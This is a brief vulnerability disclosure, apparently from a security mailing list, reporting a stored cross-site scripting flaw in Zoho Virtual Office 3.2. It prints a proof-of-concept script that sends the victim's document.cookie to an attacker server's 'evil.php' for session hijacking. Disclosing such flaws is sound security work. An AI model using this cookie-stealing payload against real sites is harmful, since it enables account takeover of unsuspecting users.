Hello, We have discovered a vunerability in Zoho Virtual Office. Malformed HTML message could lead to XSS Attack. It can cause a cookie theft leading to session hijacking. PoC: Simply creating HTML message including Javascript code could lead the browser's frame into evil script on attacker's server. Example: <script>document.location='http://server/evil/evil.php?'+document.cookie </script> evil.php file contains code which saves cookie variables on evil server. attacker can prepare cookie and hijack the user's session. Affected version: 3.2 Build 3210 (latest), previous versions might also be vulnerable. Vendor was contacted 72 hours ago. best regards marc & shb